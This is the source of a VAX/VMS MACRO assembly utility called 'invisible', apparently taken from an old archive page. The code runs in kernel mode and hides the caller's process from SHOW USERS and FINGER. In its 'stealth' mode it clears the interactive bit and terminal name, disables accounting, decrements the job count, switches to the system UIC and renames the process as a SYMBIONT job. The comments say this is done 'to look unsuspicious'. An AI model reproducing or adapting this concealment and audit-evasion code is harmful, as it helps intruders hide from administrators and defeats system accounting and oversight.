home *** CD-ROM | disk | FTP | other *** search
- ;Bruce Ellis in his Hitchiker's Guide to VMS series. In
- ;his example, he showed that by clearing the jobtype field
- ;(jib$b_jobtype) and the interactive bit (pcb$v_inter in
- ;pcb$l_sts) the process would not show up in SHOW USERS.
- ;
- ;What we do is clear those data fields (which eliminates
- ;the job from FINGER) and also the terminal name, which
- ;stops SHOW USERS from V5.2 and higher from displaying the
- ;job.
- ;
- ;Alternately, if we are already noninteractive, we reenable
- ;all those things.
- ;
- ; Environment:
- ;
- ; VAX/VMS native mode, VMS V5.0 or later, resident, kernel mode,
- ;CMKRNL privilege required.
- ;
- ; Notes:
- ;
- ;Rather than go to any pains to create a data storage location
- ;for the length of the terminal string (pcb$t_terminal) or to
- ;recreate this number by say calling $trnlnm on "TT", it is far
- ;easier just to stash it. In this case we use the symbol
- ;pcb$w_saveterm to point to the location. V01.001 of this
- ;program equates that to PCB$L_ORB, which is typically unused.
- ;(As of V5.4-2 there is no ORB used on the PCB).
- ;
- ;V002-000
- ;Create a process executive-mode logical name and store the
- ;information there. Add in knicknacks to look unsuspicious.
- ;
- ; Author:
- ;
- ;Ehud Gavron (Thanks Ehud)
- ;Associates in Consulting and Educational Services
- ;Post Office Box 14546, Tucson AZ 85711 1-800-745-3483
- ;
- ;Internet: gavron@Spades.ACES.COM
- ;-
-
- .library "sys$library:lib.mlb" ; Get $nnnDEFs
- .link "sys$system:sys.stb"- ; Get offsets
- /selective_search
- $jibdef; Job Information Block offsets
- $lnmdef; Logical Name symbol definitions
- $pcbdef; Process Control Block offsets
- $psldef; Processor Status Longword offsets@and definitions
- $ssdef ; System Status codes
- ;
- ; Define structures for storing old process information
- ;
-
-
- $DEFINI ISB ; _Invisible_ Storage Block
- $DEF ISB$L_UIC .BLKL 1 ; Process User Identification Code
- $DEF ISB$B_TERMINAL .BLKL 1 ; Terminal Name length
- $DEF ISB$B_JOBTYPE .BLKL 1 ; Job Type (from JIB)
- $DEF ISB$L_NAMELEN .BLKL 1 ; Length of process name
- $DEF ISB$T_LNAME .BLKB - ; Process name
- <PCB$S_LNAME>
- $DEF ISB$K_SIZE ; Size of ISB
- $DEF ENDISB
-
- ;
- ; $CRELNM and $TRNLNM data structures:
- ;
- lnm_retlen: .blkl 1
- lnm_buffer: .blkb isb$k_size
- lnm_buflen = . - lnm_buffer
- ;
- ; Itemlist for $CRELNM and $TRNLNM:
- ;
- lnm_itmlst:
- .word lnm_buflen ; Buffer length
- .word lnm$_string ; Item code
- .address lnm_buffer ; Buffer address
- .address lnm_retlen ; Return length (unused by $CRELNM)
- .long 0 ; Terminate item list
- ;
- ; Itemlist for $GETJPIW:
- ;
- jpi_itmlst:
- .word <pcb$s_lname> ; Buffer length
- .word jpi$_prcnam ; Item code
- .long - ; Buffer address
- <lnm_buffer+isb$t_lname>
- .long - ; Return length (used by $SETPRN)
- <lnm_buffer+isb$l_namelen>
- .long 0 ; Terminate item list
- ;
- prcnam_desc:
- .blkl 1 ; Filled later
- .long - ; Address of string (inside of ISB)
- <lnm_buffer+isb$t_lname>
- ;
- ; Parameters to be used by call to $CRELNM and $TRNLNM:
- ;
- lnm_tabnam: .ascid - ; Use process logical name table
- "LNM$PROCESS_TABLE"
- lnm_lognam: .ascid - ; Use ISB as the logical name
- "ISB"
- ;
- ; Other assorteds:
- ;
- sysuic: .long ^x00010004 ; New UIC ([1,4])
- prcnam: .ascid "SYMBIONT_nnnn" ; New process name
- prc_1: .ascid "SYMBIONT_" ; Start of name
- prc_2: .ascid "nnnn" ; End of name
- count: .long 1 ; Longword count of number (nnnn)
-
- .entry invisible,^m<>
- $cmkrnl_s routin=invisible_k ; Do it all in Kernel mode
- ret ; and exit
-
- .entry invisible_k,^m<r2,r3,r4,r5,r6>
- moval lnm_buffer,r6 ; Get pointer to ISB
- bbss #pcb$v_inter,- ; If we are visible, then
- pcb$l_sts(r4),- ; Go into Stealth mode
- stealth
- brw unstealth ; Else go into Unstealth
-
- stealth:
- bicl #pcb$m_inter,pcb$l_sts(r4) ; Clear the interactive bit
- bisl #pcb$m_noacnt,pcb$l_sts(r4) ; Disable accounting
- decw g^sys$gw_ijobcnt ; Decrement job count
- movb pcb$t_terminal(r4),- ; Store terminal name length
- isb$b_terminal(r6)
- clrb pcb$t_terminal(r4) ; Clear the terminal name len
- movl pcb$l_jib(r4),r5 ; Get Job Information Block adr
- movb jib$b_jobtype(r5),- ; Save job type
- isb$b_jobtype(r6)
- clrb jib$b_jobtype(r5) ; And clear it
- movl pcb$l_uic(r4),- ; Save old UIC
- isb$l_uic(r6)
- movl sysuic,pcb$l_uic(r4) ; And set system uic
- $getjpiw_s itmlst=jpi_itmlst ; Get process name
- $crelnm_s tabnam=lnm_tabnam,- ; Store ISB
- lognam=lnm_lognam,-
- acmode=#psl$c_exec,-
- itmlst=lnm_itmlst
- ;
- ; Now set a process name of the first unique nnnn for SYMBIONT_nnnn:
- ;
- 10$:
- pushl #4 ; Dealing with longwords
- pushl #4 ; And we want 4 digits
- pushal prc_2 ; Put it in here
- pushal count ; And get it from here
- calls #4,gâ‚§ots$cvt_l_tz
- blbc r0,20$
- incl count ; Just in case this name is in use we ready the next
- pushal prc_2 ; Append this
- pushal prc_1 ; To this
- pushal prcnam ; And put it in here
- calls #3,g^str$concat
- blbc r0,20$
- $setprn_s prcnam=prcnam
- cmpl r0,#ss$_duplnam
- beql 10$
- 20$:
- ret ; And return to user mode
-
-
- unstealth:
- $trnlnm_s tabnam=lnm_tabnam,- ; Get ISB
- lognam=lnm_lognam,-
- acmode=#psl$c_exec,-
- itmlst=lnm_itmlst
- blbc r0,30$
-
- $dellnm_s tabnam=lnm_tabnam,- ; Delete logical name (ISB)
- lognam=lnm_lognam,-
- acmode=#psl$c_exec
- blbc r0,30$
-
- bisl #pcb$m_inter,pcb$l_sts(r4) ; Set the interactive bit
- bicl #pcb$m_noacnt,pcb$l_sts(r4) ; Enable accounting
- incw g^sys$gw_ijobcnt ; Increment job count
- movl isb$l_uic(r6),- ; Restore UIC
- pcb$l_uic(r4)
- movb isb$b_terminal(r6),- ; Restore terminal name length
- pcb$t_terminal(r4)
- movl pcb$l_jib(r4),r5
- movb isb$b_jobtype(r6),- ; Restore job type
- jib$b_jobtype(r5)
- movl isb$l_namelen(r6),prcnam_desc ; Fix descriptor length
-
- $setprn_s prcnam=prcnam_desc ; Restore process name
- movl #ss$_normal,r0
- 30$:
- ret
- .end invisible